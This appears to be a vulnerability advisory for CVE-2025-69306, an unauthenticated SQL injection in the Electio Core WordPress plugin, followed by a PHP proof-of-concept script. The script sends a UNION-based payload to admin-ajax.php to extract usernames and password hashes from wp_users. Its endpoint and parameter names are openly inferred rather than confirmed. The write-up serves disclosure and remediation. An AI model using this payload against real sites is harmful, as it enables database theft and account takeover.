Atomic Edge analysis of CVE-2025-69306 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Electio Core WordPress plugin, affecting all versions up to and including 1.4. The flaw allows attackers to execute arbitrary SQL commands, leading to unauthorized data extraction from the database. The CVSS score of 7.5 (High) reflects the attack’s network accessibility, low complexity, and high confidentiality impact.
Atomic Edge research infers the root cause is improper neutralization of user input within an SQL query. The description cites insufficient escaping and lack of query preparation. This indicates the plugin likely constructs SQL statements by directly concatenating user-supplied parameters into a query string without using WordPress’s `$wpdb->prepare()` method or proper escaping functions. These conclusions are inferred from the CWE-89 classification and the vulnerability description, as no source code diff is available for confirmation.
Exploitation likely occurs via a public-facing WordPress hook, such as an AJAX endpoint registered with `wp_ajax_nopriv_` or a REST API route. An attacker would send a crafted HTTP request containing SQL injection payloads within a specific parameter. For example, a request to `/wp-admin/admin-ajax.php` with the `action` parameter set to a plugin-specific value like `electio_core_action` and a malicious payload in another parameter like `id`. Payloads would use UNION-based or time-based blind techniques to extract data from the `wp_*` database tables.
Remediation requires implementing proper input validation and using parameterized queries. The plugin must replace any raw SQL string concatenation with the WordPress `$wpdb->prepare()` function. All user-supplied variables must be passed as arguments to this function. Input validation should also enforce expected data types, such as integers for numeric parameters. These measures align with WordPress coding standards for preventing SQL injection.
Successful exploitation results in full compromise of database confidentiality. Attackers can extract sensitive information including user credentials, personal data, and site configuration. This data exposure can facilitate further attacks like password cracking or administrative account takeover. The vulnerability does not directly enable data modification or denial of service, as indicated by the CVSS vector’s integrity and availability scores of None.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69306 - Electio Core <= 1.4 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-69306.
* This script attempts to exploit an inferred unauthenticated SQL injection in the Electio Core plugin.
* The exact endpoint and parameter are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerable endpoint is a WordPress AJAX handler accessible without authentication.
* 2. The vulnerable parameter is a numeric ID passed via POST.
* 3. The injection point is within a SELECT query, allowing UNION-based extraction.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The AJAX action name is inferred from the plugin slug 'electio-core'.
// Common patterns include 'electio_core_ajax' or 'electio_core_action'.
$post_data = array(
'action' => 'electio_core_action', // Inferred vulnerable action hook
'id' => "-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -", // SQLi payload
// The payload attempts to extract admin usernames and password hashes.
// Adjust column count and table name based on the target environment.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Request sent. Analyze the response for extracted data.n";
echo "Response snippet: " . substr($response, 0, 500) . "n";
// In a real exploit, you would parse the response to retrieve the UNION SELECT output.
} else {
echo "Request failed with HTTP code: $http_coden";
}
?>
